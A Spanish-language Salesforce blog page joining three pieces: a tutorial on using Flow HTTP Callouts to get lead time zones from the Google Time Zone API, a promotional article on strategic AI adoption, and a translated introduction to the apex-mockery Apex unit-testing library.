Hay muchas posibilidades de que su base de clientes esté repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes automáticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar automáticamente la zona horaria del cliente potencial en función de sus coordenadas geográficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicación en todo el mundo en función de las coordenadas de latitud y longitud. Este servicio puede ser particularmente útil para los desarrolladores que necesitan ajustar la comunicación de acuerdo con la ubicación geográfica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente información:

  • El ID de la zona horaria , según lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google está sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

¿ Cómo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aquí hay un ejemplo básico de cómo usarlo.

La siguiente solicitud HTTP GET obtiene información de zona horaria para una ubicación en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que está realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aquí hay una respuesta de muestra en formato JSON que la API podría devolver:


{ "dstOffset": 3600, "compensación sin procesar": -18000, "estado": "OK", "timeZoneId": "América/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente información:

  1. dstOffset : La compensación del horario de verano en segundos. Será cero si la zona horaria no está en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. “OK” significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "América/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el parámetro de marca de tiempo y el parámetro de ubicación espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, según la zona horaria de la ubicación.
  2. Ubicación : una tupla de latitud, longitud separada por comas, ubicación = 40.712776, -74.005974, que representa la ubicación para buscar.

Además, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisión : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicación en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es fácil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es fácil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace útil para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integración : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones móviles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programación de comunicaciones en diferentes franjas horarias, etc.
  6. Información actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, estén siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturación y la API de zona horaria habilitada. Aquí hay una guía paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, también puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturación

Debe vincular una cuenta de facturación a su proyecto para usar la API de zona horaria de Google. Así es cómo:

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y haga clic en Facturación .
  2. Si tiene una o más cuentas de facturación, elija una cuenta y asóciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturación y luego asóciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturación, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecciónela.
  3. En la página de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el botón + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se creará y se mostrará. Cópielo y guárdelo de forma segura. Necesitará esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud está todo configurado y puede comenzar a usar la API de zona horaria de Google.

👉 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticación, esta guía se enfoca en el método de clave de API más simple por razones de brevedad. Si necesita un método de autenticación más seguro o complejo, consulte la documentación de autenticación oficial de Google.

Enfoque de Campeón de Automatización (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatización como Apex Trigger y otras, utilizaremos Salesforce Flow y la función de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o envía datos entre la base de datos de Salesforce y un sistema externo a través de Flow Builder sin usar código. Puede configurar integraciones directas según sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Después de configurar la acción de llamada HTTP en un flujo, Flow Builder genera automáticamente un registro de servicio externo , una acción invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuación, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener información de direcciones usando una API de mapa
  • Obtén las condiciones meteorológicas con una API de servicios meteorológicos
  • Genere el código de barras con una API de servicio de código de barras
  • Obtenga información de autorización de pago con una API de procesamiento de pagos
  • y mucho más

Antes de discutir la solución, permítame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatización.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una fórmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisión para verificar el código de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servirán como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c Número (18,0)
rawOffset rawOffset__c Número (18,0)
Posición actual Posición_actual__c Geolocalización
Identificación de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la página con la URL y los parámetros de autenticación del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opción Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posición_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condición
    6. Fila 2:
      1. Campo : Posición_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acción y registros relacionados
    8. Elija la opción para incluir una ruta de ejecución asíncrona para acceder a un sistema externo después de que la transacción original para el registro de activación se confirme con éxito .
  5. Haga clic en Listo.

Paso 3.2: fórmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la época de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Fórmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : Número
    4. Lugares decimales : 0
    5. Fórmula : RONDA((AHORA() – FECHAHORAVALUE(“1970-01-01 00:00:00”)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acción de llamada HTTP GET

HTTP Callout lo guía a través de la introducción de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se está conectando. Después de completar la configuración, invoca la acción en un flujo.

  1. En el nodo Ejecutar asincrónicamente , seleccione Acción .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que creó en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acción invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acción que realiza la llamada.
    2. Método : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de parámetros de consulta si la API a la que está llamando las tiene. Cuando usa esta acción en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicación
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la sección Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensación sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
Seguir leyendo

3 pasos para la adopción estratégica de IA

3 pasos para la adopción estratégica de IA

En el mundo empresarial actual, que cambia rápidamente, la IA tiene el potencial de transformar las industrias y desbloquear oportunidades sin precedentes. Sin embargo, muchos líderes de la industria no están seguros de cómo adoptar esta adopción dentro de sus organizaciones. Se preguntan si reemplazará las capacidades humanas o agregará complejidad sin brindar beneficios tangibles.

Imagine las posibilidades de una adopción estratégica de IA. Un asombroso 79% de las empresas ya han experimentado una reducción significativa de costos a través de la implementación. Pero, sin una estrategia bien definida adaptada a sus necesidades únicas, las empresas corren el riesgo de perderse los beneficios de estas herramientas transformadoras.

Comience con AI Cloud

Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el éxito con nuestro nuevo paquete, AI Coach.

¿Está listo para navegar por el complejo mundo de la IA y aprender cómo puede integrarse en su negocio? Profundicemos y descubramos tres pasos prácticos para la adopción e implementación exitosas de IA , y la importancia de usar esta tecnología de una manera en la que pueda confiar con AI Cloud .

1. Evalúe su preparación para la adopción de IA

Una de las preguntas que suelen hacer los clientes cuando se embarcan en su viaje de IA es: "¿Por dónde empiezo?" Con el gran potencial de la tecnología de IA generativa , los líderes de la industria pueden sentirse abrumados o inseguros sobre cuál es el mejor camino a seguir. Para navegar este mar de posibilidades, es crucial hacer las preguntas correctas y evaluar la preparación de su organización para adoptar la IA.

  • Identifique el valor empresarial : analice sus procesos, las interacciones con los clientes y los activos de datos para identificar las áreas en las que la IA puede crear el mayor valor. Podrá concentrar sus esfuerzos en áreas de alto impacto que ofrecen retornos óptimos.
  • Visualice cómo aprovechar el poder de la IA : Considere cómo la IA puede potenciar los objetivos de su empresa. Explore casos de uso, aplicaciones y resultados deseados específicos para crear una visión convincente.
  • Evalúe su preparación : luego, confirme que su organización está lista para adoptar la IA. Analice su infraestructura tecnológica, capacidades de datos y habilidades de la fuerza laboral para identificar brechas y áreas de mejora. Determine si tiene los recursos, la experiencia y los sistemas de soporte necesarios para implementar y administrar estas soluciones.

Al tomarse el tiempo para evaluar la preparación, puede abordar las barreras comunes para una adopción exitosa de la IA. Este proceso le permite tomar decisiones informadas, dividir recursos y desarrollar una hoja de ruta realista.

2. Cree una prueba de tecnología

Para garantizar una integración exitosa de la IA en su organización, debe desarrollar un plan práctico que aborde las preguntas comerciales clave . Un componente crucial de este plan es crear una prueba de tecnología , que determina si la solución o tecnología propuesta se integrará en su entorno existente y, por lo tanto, demostrará compatibilidad.

Hay varios pasos importantes para ayudarlo a evaluar la viabilidad, demostrar las capacidades del producto y validar la relevancia de los casos de uso. Al seguir estos pasos, puede posicionar a su equipo para el éxito y obtener el apoyo de las partes interesadas para la adopción de IA.

  • Identifique casos de uso : perfeccione los casos de uso de IA mediante la recopilación de información de toda su organización. Concéntrese en las áreas donde la IA puede tener el mayor impacto y alinee sus iniciativas con los objetivos de la empresa.
  • Implemente la prueba de tecnología de AI Cloud : evalúe la viabilidad implementando herramientas de IA en un entorno controlado. Pruebe el rendimiento, la escalabilidad y la integración con los sistemas existentes para abordar cualquier problema desde el principio y garantizar una transición sin problemas.
  • Demuestre las capacidades del producto : Muestre la transformación potencial a través de escenarios de práctica o proyectos piloto. Obtenga la aceptación y el apoyo de las partes interesadas al ilustrar cómo la IA aborda desafíos específicos y brinda los resultados deseados.
  • Valide el valor comercial : antes de la implementación, confirme la relevancia de sus casos de uso. Pruebe los beneficios no realizados, como mejoras en la eficiencia, mejores experiencias de los clientes y una mejor toma de decisiones, asegurándose de que sus iniciativas de IA se alineen con sus objetivos comerciales.

Al crear una prueba integral de la tecnología, sienta las bases para una adopción exitosa de la IA. Esta será su hoja de ruta para navegar por los posibles desafíos y aprovechar al máximo las oportunidades futuras.

Impulse la transformación continua con
La Oficina de Innovación Continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el máximo valor de su inversión en Salesforce.

3. Transformar la visión en acción

Si bien la planificación es esencial, es crucial conectar los puntos entre la visión y la ejecución. Así es como puede transformar su plan bien elaborado en una realidad, superando futuros escollos en el camino:

  • Involucrar a diversas partes interesadas : involucrar una variedad de perspectivas e intereses a través de una colaboración inclusiva. Busque aportes de empleados, clientes y socios para dar forma a la estrategia de implementación.
  • Promueva la transparencia : mantenga su plan visible, claro y actualizado. Comparta el progreso y los hitos para fomentar la confianza, la propiedad colectiva y la responsabilidad.
  • Adopte una mentalidad de aprendizaje : manténgase abierto a nuevos conocimientos y perfeccione su plan a medida que avanza.
  • Tome decisiones informadas más fácilmente : proporcione estrategias prácticas y una visión clara para garantizar que sus elecciones estén alineadas con los resultados deseados.
  • Capacite a su gente : reconozca que el poder de la IA radica en las capacidades colectivas de su fuerza laboral. Aproveche sus conocimientos, habilidades y creatividad para desbloquear todo el potencial de la IA e impulsar un cambio significativo.

Recuerde que el verdadero poder de la IA no radica en la tecnología en sí, sino en su gente. Al seguir estas pautas, puede cerrar la brecha entre la visión y la acción, transformando las aspiraciones de su organización en resultados concretos.

Aproveche las oportunidades que se avecinan

Abraza el futuro con confianza. Descubra el poder transformador de la IA con AI Coach de Salesforce Professional Services . Nuestro equipo de expertos lo ayudará a evaluar la preparación para la IA de su organización. Desde la adopción de IA hasta la implementación de pruebas de tecnología que demuestren el valor comercial y la planificación estratégica de cómo puede establecer la base adecuada para el éxito a largo plazo con la Fase 0.

Juntos, navegaremos las complejidades de la implementación de IA. Al mismo tiempo, nos aseguraremos de que sus iniciativas funcionen hacia sus objetivos comerciales. Dé el primer paso para liberar todo el potencial de la IA en su organización. Póngase en contacto con los servicios profesionales de Salesforce hoy mismo.

Seguir leyendo

Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias ☁️

Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias | Blog de desarrolladores de Salesforce

Escribir pruebas sólidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicación, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de código para ayudarlo a comprender cómo puede usar la biblioteca para crear pruebas unitarias fáciles de entender y de ejecución rápida.

Un repaso a las pruebas unitarias

Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atrás y analicemos algunos de los conceptos básicos de las pruebas unitarias desde un punto de vista independiente de la tecnología. Luego, veremos Apex y discutiremos por qué la mayoría de nosotros debería escribir pruebas unitarias en lugar de pruebas de integración.

Las pruebas unitarias están en la base de la pirámide de prueba.

La ingeniería de software abarca múltiples tipos de pruebas: unidad, integración, servicio, interfaz de usuario funcional, de extremo a extremo, aceptación del usuario y más. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto representándolos como una pirámide.

Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aquí es que las pruebas que se ejecutan rápido y con frecuencia deben estar en la parte inferior de la pirámide. Estos son los más fáciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan más lentamente y se vuelven más difíciles de implementar y mantener.

En el contexto de esta publicación y en aras de la brevedad, nos centraremos únicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.

Por definición, las pruebas unitarias están destinadas a probar la menor cantidad de código (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la lógica pura y estar completamente desvinculadas de sus dependencias (otras clases) y límites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse rápido; no requieren una configuración de prueba particular, como la inserción de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.

Escribir pruebas unitarias de Apex en lugar de pruebas de integración

Apex se beneficia de una estrecha integración con la Plataforma de Salesforce y, si bien esta característica es excelente para cosas como acceder rápida y fácilmente a la base de datos, difumina las líneas de separación de preocupaciones entre la lógica y los servicios. Como consecuencia, es muy fácil escribir pruebas de integración de Apex en lugar de pruebas unitarias. Por ejemplo, el código de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integración ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren más tiempo para ejecutarse que las pruebas unitarias "puras".

Como compartió Mitch Spano en su presentación de pruebas unitarias puras de Apex , la mayoría de las veces, no es necesario confiar en las pruebas de integración para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicación. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creación de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.

Presentamos la burla del ápice

Como parte del trabajo de ingeniería de Salesforce, estábamos desarrollando un paquete administrado internamente y necesitábamos una biblioteca para escribir pruebas unitarias. Queríamos escribir pasos simples de "arreglar" (como en el patrón Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca fácil de leer y bien probada que pudiéramos usar para crear nuestro producto, pero no encontramos una combinación perfecta, por lo que decidimos escribir la nuestra. Estábamos tan contentos con la implementación final de la biblioteca que decidimos lanzarla como código abierto con el nombre apex-mockery .

La biblioteca apex-mockery proporciona una biblioteca de simulación simple, liviana y fácil de leer para Apex creada con la API Stub. La biblioteca está diseñada para que sea fácil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y apéndices, configurar espías y escribir aserciones.

Lo guiaremos a través de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos prácticos. Luego, le mostraremos cómo puede escribir pruebas para este proyecto de muestra en tres pasos:

  1. Crear simulacros y espías de métodos.
  2. Métodos de espionaje de trozo
  3. escribir afirmaciones

Ejemplo de escenario: pedidos de panadería y entrega

Considere el siguiente escenario de ejemplo: una panadería toma pedidos de pastelería y planifica las entregas utilizando un servicio dedicado. Los únicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.

A continuación se muestra la implementación básica de nuestro escenario de panadería (el código completo está disponible en el repositorio del proyecto ).

Pastelería.cls

DeliveryService.cls

DeliveryServiceImpl.cls

Confirmación de pedido.cls

Panadería.cls

Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a cómo podríamos escribir pruebas para el método Bakery.order .

Paso 1: crea simulacros y espías de métodos

Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producción, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:

Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probará unitariamente por sí solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .

Así es como puede crear e inyectar fácilmente un simulacro de este tipo, gracias a apex-mockery:

Luego, su prueba necesita un espía, para que pueda controlar el comportamiento del método planDelivery y ejecutar aserciones en sus llamadas.

Ahora que tiene un servicio simulado y un espía en su método planDelivery , veamos cómo puede configurar su espía y ejecutar aserciones en él.

Paso 2: métodos de espionaje de trozo

Una vez que tenga una instancia simulada, puede controlar cómo se comportan sus métodos controlando sus valores de retorno y lanzando excepciones.

Utilice los métodos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los métodos auxiliares. Luego, si es necesario, usa una combinación de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos específicos a las llamadas a métodos que coincidan con los argumentos especificados.

Durante la ejecución de la prueba, apex-mockery comienza buscando una coincidencia en la configuración proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuración predeterminada ( returns o throwException ).

Veamos algunas situaciones comunes de configuración de stubs (ver más recetas ).

  • Devolver algo cada vez que se llame planDelivery
  • Lanza una excepción cada vez que se llama planDelivery
  • Devuelve algo cuando se llama con un argumento específico
  • Lanza una excepción cuando se llama con un argumento específico

Ahora que sabe cómo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su código.

Paso 3: Escribe afirmaciones

apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendrá acceso a varios métodos de afirmación. La biblioteca viene con una serie de afirmaciones de comportamiento fáciles de usar, como:

Si los comparadores de argumentos básicos no son suficientes para sus necesidades, también puede crear sus propios comparadores de argumentos personalizados .

Uniendo el ejemplo completo

Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el método Bakery.order . Observe cómo puede usar aserciones de burla de Apex, junto con las aserciones estándar de Apex de la clase system.Assert , en sus pruebas.

palabras de cierre

Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendió cómo las pruebas unitarias desacopladas son más fáciles de escribir y ejecutar mucho más rápido. Tener pruebas rápidas acorta el ciclo de retroalimentación del ciclo de vida del desarrollo, reduce la duración de la ejecución del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando así la calidad.

apex-mockery lo ayuda a dirigir su proyecto en esta dirección. Consulte el repositorio del proyecto para comenzar. Encontrará la documentación de la biblioteca con las opciones de instrucciones de instalación (instalación de fuente o paquete desbloqueado), algunas recetas de muestra y una guía de migración. ¡Feliz prueba unitaria!

Sobre los autores

Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empujó el código a la producción durante años, disfruta eliminando más líneas de código de las que agrega y prefiere la programación en pares sobre las revisiones de código y los productos de trabajo sobre el diseño perfecto. Sígalo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .

Sébastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en París, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo